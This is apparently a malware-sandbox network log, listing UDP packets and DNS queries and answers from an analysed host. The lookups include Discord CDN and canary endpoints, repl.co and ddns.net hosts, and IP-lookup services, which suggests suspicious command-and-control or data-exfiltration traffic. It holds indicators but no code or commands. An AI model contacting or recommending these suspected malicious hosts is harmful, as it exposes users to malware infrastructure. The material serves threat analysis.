Feb 12, 2021 19:40:39.005584955 CET	50394	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:39.070374012 CET	53	50394	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:39.070493937 CET	58530	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:39.130650997 CET	53	58530	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:39.263901949 CET	53813	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:39.332546949 CET	53	53813	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:39.370762110 CET	63732	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:39.428996086 CET	53	63732	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:39.573430061 CET	57344	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:39.634572983 CET	53	57344	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:40.322938919 CET	54450	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:40.388392925 CET	53	54450	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:40.527709961 CET	59261	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:40.578511953 CET	53	59261	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:40.652638912 CET	57151	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:40.710012913 CET	53	57151	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:40.767175913 CET	59413	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:40.829327106 CET	53	59413	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:41.119926929 CET	60516	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:41.179934978 CET	53	60516	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:41.291948080 CET	51649	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:41.355822086 CET	53	51649	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:41.466799021 CET	65086	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:41.531847954 CET	53	65086	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:41.659954071 CET	56432	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:41.730904102 CET	53	56432	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:42.289730072 CET	52929	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:42.352104902 CET	53	52929	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:42.822513103 CET	64317	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:42.875116110 CET	53	64317	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:44.781487942 CET	61004	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:44.840626955 CET	53	61004	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:45.414455891 CET	56895	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:45.467808008 CET	53	56895	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:49.750647068 CET	62372	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:49.810750008 CET	53	62372	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:55.407075882 CET	61515	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:55.472400904 CET	53	61515	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:59.731561899 CET	56675	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:59.791347980 CET	53	56675	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:03.787647963 CET	57172	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:03.846425056 CET	53	57172	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:05.811400890 CET	55267	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:05.891813040 CET	53	55267	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:06.228884935 CET	50969	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:06.290657043 CET	53	50969	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:06.725229979 CET	64362	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:06.782314062 CET	53	64362	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:07.696568966 CET	54766	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:07.754977942 CET	53	54766	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:12.098895073 CET	61446	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:12.122212887 CET	57515	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:12.161081076 CET	53	61446	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:12.173568010 CET	53	57515	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:12.346142054 CET	58199	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:12.404568911 CET	53	58199	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:16.770713091 CET	65221	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:16.822163105 CET	53	65221	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:17.795803070 CET	61573	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:17.854777098 CET	53	61573	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:18.812328100 CET	56562	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:18.861107111 CET	53	56562	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:19.573525906 CET	53591	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:19.627435923 CET	53	53591	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:21.716600895 CET	59688	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:21.775773048 CET	53	59688	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:22.722007036 CET	56032	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:22.778975964 CET	53	56032	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:25.731026888 CET	61150	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:25.771728039 CET	63458	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:25.790643930 CET	53	61150	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:25.821655989 CET	53	63458	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:25.971651077 CET	50422	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:26.039793015 CET	53	50422	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:26.505218983 CET	53247	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:26.564394951 CET	53	53247	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:26.704303980 CET	58544	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:26.756351948 CET	53	58544	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:29.879177094 CET	53814	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:29.940694094 CET	53	53814	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:34.794995070 CET	51305	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:34.853214979 CET	53	51305	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:38.711321115 CET	53670	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:38.772607088 CET	53	53670	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:41.919118881 CET	55160	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:42.016376019 CET	53	55160	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:42.573524952 CET	61414	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:42.627928972 CET	53	61414	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:42.889404058 CET	63847	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:42.947263002 CET	53	63847	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:43.507289886 CET	61523	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:43.557326078 CET	53	61523	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:43.973295927 CET	50551	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:44.030577898 CET	53	50551	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:44.435007095 CET	62847	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:44.492425919 CET	53	62847	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:44.932533026 CET	57712	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:44.981132984 CET	53	57712	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:45.454602003 CET	61064	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:45.506191015 CET	53	61064	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:46.069237947 CET	61891	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:46.131855965 CET	53	61891	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:46.762001991 CET	61585	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:46.824454069 CET	53	61585	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:47.211963892 CET	65163	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:47.263428926 CET	53	65163	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:47.727386951 CET	58969	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:47.778558016 CET	53	58969	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:52.807904005 CET	53977	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:52.858756065 CET	53	53977	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:55.803329945 CET	57147	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:55.862991095 CET	53	57147	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:56.539375067 CET	52381	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:56.588185072 CET	53	52381	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:56.733515024 CET	49231	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:56.790939093 CET	53	49231	8.8.8.8	192.168.2.5
Feb 12, 2021 19:41:59.811423063 CET	53217	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:41:59.862313986 CET	53	53217	8.8.8.8	192.168.2.5
Feb 12, 2021 19:42:00.775614023 CET	52554	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:42:00.834916115 CET	53	52554	8.8.8.8	192.168.2.5
Feb 12, 2021 19:42:01.576595068 CET	49603	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:42:01.625483990 CET	53	49603	8.8.8.8	192.168.2.5
Feb 12, 2021 19:42:04.710470915 CET	64476	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:42:04.767792940 CET	53	64476	8.8.8.8	192.168.2.5
Feb 12, 2021 19:42:10.212553978 CET	49975	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:42:10.263884068 CET	53	49975	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 12, 2021 19:39:12.847662926 CET	192.168.2.5	8.8.8.8	0x5e9c	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:39.005584955 CET	192.168.2.5	8.8.8.8	0x3fb3	Standard query (0)	set-clima.mrgaton.repl.co	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:39.070493937 CET	192.168.2.5	8.8.8.8	0xc0b9	Standard query (0)	set-clima.mrgaton.repl.co	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:39.263901949 CET	192.168.2.5	8.8.8.8	0x34d7	Standard query (0)	set-clima.mrgaton.repl.co	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:39.573430061 CET	192.168.2.5	8.8.8.8	0xa643	Standard query (0)	r3.o.lencr.org	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.322938919 CET	192.168.2.5	8.8.8.8	0xdb4e	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.652638912 CET	192.168.2.5	8.8.8.8	0xbddd	Standard query (0)	set-clima.mrgaton.repl.co	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.767175913 CET	192.168.2.5	8.8.8.8	0xfc8d	Standard query (0)	checkip.amazonaws.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.119926929 CET	192.168.2.5	8.8.8.8	0x9639	Standard query (0)	o.ss2.us	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.291948080 CET	192.168.2.5	8.8.8.8	0x6dd7	Standard query (0)	ocsp.rootg2.amazontrust.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.466799021 CET	192.168.2.5	8.8.8.8	0xb600	Standard query (0)	ocsp.rootca1.amazontrust.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.659954071 CET	192.168.2.5	8.8.8.8	0x607e	Standard query (0)	ocsp.sca1b.amazontrust.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:42.289730072 CET	192.168.2.5	8.8.8.8	0xbb49	Standard query (0)	sf3q2wrq34.ddns.net	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:42.822513103 CET	192.168.2.5	8.8.8.8	0x8ec9	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:44.781487942 CET	192.168.2.5	8.8.8.8	0x502e	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:45.414455891 CET	192.168.2.5	8.8.8.8	0x6061	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:49.750647068 CET	192.168.2.5	8.8.8.8	0x6743	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:55.407075882 CET	192.168.2.5	8.8.8.8	0xf73	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:59.731561899 CET	192.168.2.5	8.8.8.8	0x6cba	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:03.787647963 CET	192.168.2.5	8.8.8.8	0x7a52	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:05.811400890 CET	192.168.2.5	8.8.8.8	0xa4e5	Standard query (0)	jspaste.tnfangel.repl.co	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:06.228884935 CET	192.168.2.5	8.8.8.8	0x4451	Standard query (0)	r3.o.lencr.org	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:06.725229979 CET	192.168.2.5	8.8.8.8	0x6a20	Standard query (0)	set-clima.mrgaton.repl.co	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:07.696568966 CET	192.168.2.5	8.8.8.8	0x36c6	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:12.098895073 CET	192.168.2.5	8.8.8.8	0x65d0	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:12.122212887 CET	192.168.2.5	8.8.8.8	0xb246	Standard query (0)	wttr.in	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:12.346142054 CET	192.168.2.5	8.8.8.8	0xb0e	Standard query (0)	r3.o.lencr.org	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:16.770713091 CET	192.168.2.5	8.8.8.8	0x31ad	Standard query (0)	wttr.in	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:17.795803070 CET	192.168.2.5	8.8.8.8	0x335f	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:18.812328100 CET	192.168.2.5	8.8.8.8	0x77d0	Standard query (0)	wttr.in	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:19.573525906 CET	192.168.2.5	8.8.8.8	0x6068	Standard query (0)	wttr.in	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:21.716600895 CET	192.168.2.5	8.8.8.8	0xa2f4	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:22.722007036 CET	192.168.2.5	8.8.8.8	0xc29a	Standard query (0)	wttr.in	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:25.731026888 CET	192.168.2.5	8.8.8.8	0x5956	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:25.771728039 CET	192.168.2.5	8.8.8.8	0xd322	Standard query (0)	myexternalip.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:25.971651077 CET	192.168.2.5	8.8.8.8	0x5841	Standard query (0)	ocsp.pki.goog	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:26.505218983 CET	192.168.2.5	8.8.8.8	0xa9b8	Standard query (0)	proxycheck.io	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:29.879177094 CET	192.168.2.5	8.8.8.8	0xdf54	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:34.794995070 CET	192.168.2.5	8.8.8.8	0x1fd	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:38.711321115 CET	192.168.2.5	8.8.8.8	0x603d	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:42.889404058 CET	192.168.2.5	8.8.8.8	0x278f	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:47.727386951 CET	192.168.2.5	8.8.8.8	0x49da	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:52.807904005 CET	192.168.2.5	8.8.8.8	0x7fe	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:55.803329945 CET	192.168.2.5	8.8.8.8	0x5345	Standard query (0)	set-clima.mrgaton.repl.co	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:56.539375067 CET	192.168.2.5	8.8.8.8	0xaa3d	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:56.733515024 CET	192.168.2.5	8.8.8.8	0x11e5	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:41:59.811423063 CET	192.168.2.5	8.8.8.8	0x1b4b	Standard query (0)	set-clima.mrgaton.repl.co	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:00.775614023 CET	192.168.2.5	8.8.8.8	0x8d5d	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:01.576595068 CET	192.168.2.5	8.8.8.8	0x3f9a	Standard query (0)	discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:04.710470915 CET	192.168.2.5	8.8.8.8	0x936d	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)
Feb 12, 2021 19:42:10.212553978 CET	192.168.2.5	8.8.8.8	0x4b39	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Feb 12, 2021 19:39:12.901578903 CET	8.8.8.8	192.168.2.5	0x5e9c	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:39:12.901578903 CET	8.8.8.8	192.168.2.5	0x5e9c	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:39:12.901578903 CET	8.8.8.8	192.168.2.5	0x5e9c	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:39:12.901578903 CET	8.8.8.8	192.168.2.5	0x5e9c	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:39:12.901578903 CET	8.8.8.8	192.168.2.5	0x5e9c	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:39.070374012 CET	8.8.8.8	192.168.2.5	0x3fb3	No error (0)	set-clima.mrgaton.repl.co		35.201.120.147	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:39.130650997 CET	8.8.8.8	192.168.2.5	0xc0b9	No error (0)	set-clima.mrgaton.repl.co		35.201.120.147	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:39.332546949 CET	8.8.8.8	192.168.2.5	0x34d7	No error (0)	set-clima.mrgaton.repl.co		35.201.120.147	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:39.634572983 CET	8.8.8.8	192.168.2.5	0xa643	No error (0)	r3.o.lencr.org	o.lencr.edgesuite.net		CNAME (Canonical name)	IN (0x0001)
Feb 12, 2021 19:40:40.388392925 CET	8.8.8.8	192.168.2.5	0xdb4e	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.388392925 CET	8.8.8.8	192.168.2.5	0xdb4e	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.388392925 CET	8.8.8.8	192.168.2.5	0xdb4e	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.388392925 CET	8.8.8.8	192.168.2.5	0xdb4e	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.388392925 CET	8.8.8.8	192.168.2.5	0xdb4e	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.710012913 CET	8.8.8.8	192.168.2.5	0xbddd	No error (0)	set-clima.mrgaton.repl.co		35.201.120.147	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.829327106 CET	8.8.8.8	192.168.2.5	0xfc8d	No error (0)	checkip.amazonaws.com	checkip.check-ip.aws.a2z.com		CNAME (Canonical name)	IN (0x0001)
Feb 12, 2021 19:40:40.829327106 CET	8.8.8.8	192.168.2.5	0xfc8d	No error (0)	checkip.check-ip.aws.a2z.com	checkip.us-east-1.prod.check-ip.aws.a2z.com		CNAME (Canonical name)	IN (0x0001)
Feb 12, 2021 19:40:40.829327106 CET	8.8.8.8	192.168.2.5	0xfc8d	No error (0)	checkip.us-east-1.prod.check-ip.aws.a2z.com		107.21.162.206	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.829327106 CET	8.8.8.8	192.168.2.5	0xfc8d	No error (0)	checkip.us-east-1.prod.check-ip.aws.a2z.com		3.222.126.94	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.829327106 CET	8.8.8.8	192.168.2.5	0xfc8d	No error (0)	checkip.us-east-1.prod.check-ip.aws.a2z.com		34.200.69.241	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.829327106 CET	8.8.8.8	192.168.2.5	0xfc8d	No error (0)	checkip.us-east-1.prod.check-ip.aws.a2z.com		52.20.197.7	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.829327106 CET	8.8.8.8	192.168.2.5	0xfc8d	No error (0)	checkip.us-east-1.prod.check-ip.aws.a2z.com		34.192.7.28	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.829327106 CET	8.8.8.8	192.168.2.5	0xfc8d	No error (0)	checkip.us-east-1.prod.check-ip.aws.a2z.com		52.204.109.97	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.829327106 CET	8.8.8.8	192.168.2.5	0xfc8d	No error (0)	checkip.us-east-1.prod.check-ip.aws.a2z.com		34.193.115.2	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:40.829327106 CET	8.8.8.8	192.168.2.5	0xfc8d	No error (0)	checkip.us-east-1.prod.check-ip.aws.a2z.com		52.206.184.85	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.179934978 CET	8.8.8.8	192.168.2.5	0x9639	No error (0)	o.ss2.us		143.204.15.205	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.179934978 CET	8.8.8.8	192.168.2.5	0x9639	No error (0)	o.ss2.us		143.204.15.163	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.179934978 CET	8.8.8.8	192.168.2.5	0x9639	No error (0)	o.ss2.us		143.204.15.149	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.179934978 CET	8.8.8.8	192.168.2.5	0x9639	No error (0)	o.ss2.us		143.204.15.190	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.355822086 CET	8.8.8.8	192.168.2.5	0x6dd7	No error (0)	ocsp.rootg2.amazontrust.com		143.204.15.108	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.355822086 CET	8.8.8.8	192.168.2.5	0x6dd7	No error (0)	ocsp.rootg2.amazontrust.com		143.204.15.37	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.355822086 CET	8.8.8.8	192.168.2.5	0x6dd7	No error (0)	ocsp.rootg2.amazontrust.com		143.204.15.46	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.355822086 CET	8.8.8.8	192.168.2.5	0x6dd7	No error (0)	ocsp.rootg2.amazontrust.com		143.204.15.2	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.531847954 CET	8.8.8.8	192.168.2.5	0xb600	No error (0)	ocsp.rootca1.amazontrust.com		143.204.15.46	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.531847954 CET	8.8.8.8	192.168.2.5	0xb600	No error (0)	ocsp.rootca1.amazontrust.com		143.204.15.37	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.531847954 CET	8.8.8.8	192.168.2.5	0xb600	No error (0)	ocsp.rootca1.amazontrust.com		143.204.15.108	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.531847954 CET	8.8.8.8	192.168.2.5	0xb600	No error (0)	ocsp.rootca1.amazontrust.com		143.204.15.2	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.730904102 CET	8.8.8.8	192.168.2.5	0x607e	No error (0)	ocsp.sca1b.amazontrust.com		143.204.15.29	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.730904102 CET	8.8.8.8	192.168.2.5	0x607e	No error (0)	ocsp.sca1b.amazontrust.com		143.204.15.36	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.730904102 CET	8.8.8.8	192.168.2.5	0x607e	No error (0)	ocsp.sca1b.amazontrust.com		143.204.15.47	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:41.730904102 CET	8.8.8.8	192.168.2.5	0x607e	No error (0)	ocsp.sca1b.amazontrust.com		143.204.15.203	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:42.352104902 CET	8.8.8.8	192.168.2.5	0xbb49	No error (0)	sf3q2wrq34.ddns.net		34.199.8.144	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:42.875116110 CET	8.8.8.8	192.168.2.5	0x8ec9	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:42.875116110 CET	8.8.8.8	192.168.2.5	0x8ec9	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:42.875116110 CET	8.8.8.8	192.168.2.5	0x8ec9	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:42.875116110 CET	8.8.8.8	192.168.2.5	0x8ec9	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:42.875116110 CET	8.8.8.8	192.168.2.5	0x8ec9	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:44.840626955 CET	8.8.8.8	192.168.2.5	0x502e	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:44.840626955 CET	8.8.8.8	192.168.2.5	0x502e	No error (0)	canary.discord.com		162.159.135.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:44.840626955 CET	8.8.8.8	192.168.2.5	0x502e	No error (0)	canary.discord.com		162.159.128.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:44.840626955 CET	8.8.8.8	192.168.2.5	0x502e	No error (0)	canary.discord.com		162.159.136.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:44.840626955 CET	8.8.8.8	192.168.2.5	0x502e	No error (0)	canary.discord.com		162.159.138.232	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:45.467808008 CET	8.8.8.8	192.168.2.5	0x6061	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:45.467808008 CET	8.8.8.8	192.168.2.5	0x6061	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:45.467808008 CET	8.8.8.8	192.168.2.5	0x6061	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:45.467808008 CET	8.8.8.8	192.168.2.5	0x6061	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:45.467808008 CET	8.8.8.8	192.168.2.5	0x6061	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Feb 12, 2021 19:40:49.810750008 CET	8.8.8.8	192.168.2.5	0x6743	No error (0)	canary.discord.com		162.159.137.232	A (IP address)	IN (0x0001)
